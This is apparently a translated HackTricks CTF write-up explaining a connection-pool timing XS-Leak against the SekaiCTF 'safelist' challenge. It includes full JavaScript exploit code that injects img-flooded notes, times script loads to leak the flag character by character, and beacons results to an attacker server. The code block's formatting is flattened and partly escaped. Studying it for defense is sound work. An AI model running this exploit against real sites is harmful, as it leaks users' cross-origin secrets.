> For the complete documentation index, see [llms.txt](https://hacktricks.xsx.tw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacktricks.xsx.tw/pentesting-web/xs-search/connection-pool-by-destination-example.md).

# Connection Pool by Destination Example

<details>

<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

* 您在**网络安全公司**工作吗？ 您想看到您的**公司在HackTricks中做广告**吗？ 或者您想访问**PEASS的最新版本或下载PDF格式的HackTricks**吗？ 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[NFT收藏品](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks)**和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)**提交PR来分享您的黑客技巧**。

</details>

在[**这个利用**](https://gist.github.com/terjanq/0bc49a8ef52b0e896fca1ceb6ca6b00e#file-safelist-html)中，[**@terjanq**](https://twitter.com/terjanq)提出了另一种解决方案，用于下一页中提到的挑战：

{% content-ref url="/pages/2nSdLOqnSijYkp6DJy70" %}
[Connection Pool by Destination Example](/pentesting-web/xs-search/connection-pool-by-destination-example.md)
{% endcontent-ref %}

让我们看看这个利用是如何工作的：

* 攻击者将注入一个带有尽可能多的\*\*`<img`**标签加载**`/js/purify.js`\*\*的注释（超过6个以阻止来源）。
* 然后，攻击者将**删除**索引为1的**注释**。
* 然后，攻击者将\[使**机器人访问页面**以触发剩余注释]并将发送一个对\*\*`victim.com/js/purify.js`**的**请求\*\*，然后将**计时**。
* 如果时间**更长**，则注入在**剩余注释**中，如果时间**更短**，则标志在其中。

{% hint style="info" %}
说实话，阅读脚本时，我错过了**攻击者让机器人加载页面以触发img标签**的某些部分，我在代码中没有看到类似的内容
{% endhint %}

\`\`\`html const SITE\_URL = '<https://safelist.ctf.sekai.team/>'; const PING\_URL = '<https://myserver>'; function timeScript(){ return new Promise(resolve => { var x = document.createElement('script'); x.src = '<https://safelist.ctf.sekai.team/js/purify.js>?' + Math.random(); var start = Date.now(); x.onerror = () => { console.log(\`Time: ${Date.now() - start}\`); //Time request resolve(Date.now() - start); x.remove(); } document.body.appendChild(x); }); } add\_note = async (note) => { let x = document.createElement('form') x.action = SITE\_URL + "create" x.method = "POST" x.target = "xxx"

let i = document.createElement("input"); i.type = "text" i.name = "text" i.value = note x.appendChild(i) document.body.appendChild(x) x.submit() }

remove\_note = async (note\_id) => { let x = document.createElement('form') x.action = SITE\_URL+"remove" x.method = "POST" x.target = "\_blank"

let i = document.createElement("input"); i.type = "text" i.name = "index" i.value = note\_id x.appendChild(i) document.body.appendChild(x) x.submit() }

const sleep = ms => new Promise(resolve => setTimeout(resolve, ms)); // }zyxwvutsrqponmlkjihgfedcba\_ const alphabet = 'zyxwvutsrqponmlkjihgfedcba\_' var prefix = 'SEKAI{xsleakyay'; const TIMEOUT = 500; async function checkLetter(letter){ // Chrome puts a limit of 6 concurrent request to the same origin. We are creating a lot of images pointing to purify.js // Depending whether we found flag's letter it will either load the images or not. // With timing, we can detect whether Chrome is processing purify.js or not from our site and hence leak the flag char by char. const payload = `${prefix}${letter}` + Array.from(Array(78)).map((e,i)=>`<img/src=/js/purify.js?${i}>`).join(''); await add\_note(payload); await sleep(TIMEOUT); await timeScript(); await remove\_note(1); //Now, only the note with the flag or with the injection existsh await sleep(TIMEOUT); const time = await timeScript(); //Find out how much a request to the same origin takes navigator.sendBeacon(PING\_URL, \[letter,time]); if(time>100){ return 1; } return 0; } window\.onload = async () => { navigator.sendBeacon(PING\_URL, 'start'); // doesnt work because we are removing flag after success. // while(1){ for(const letter of alphabet){ if(await checkLetter(letter)){ prefix += letter; navigator.sendBeacon(PING\_URL, prefix); break; } } // } };

```
<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

* 你在**网络安全公司**工作吗？想要看到你的**公司在HackTricks中被宣传**吗？或者想要获取**PEASS的最新版本或下载HackTricks的PDF**吗？查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[NFT收藏品](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks周边**](https://peass.creator-spring.com)
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **通过向[hacktricks仓库](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud仓库](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。

</details>
```
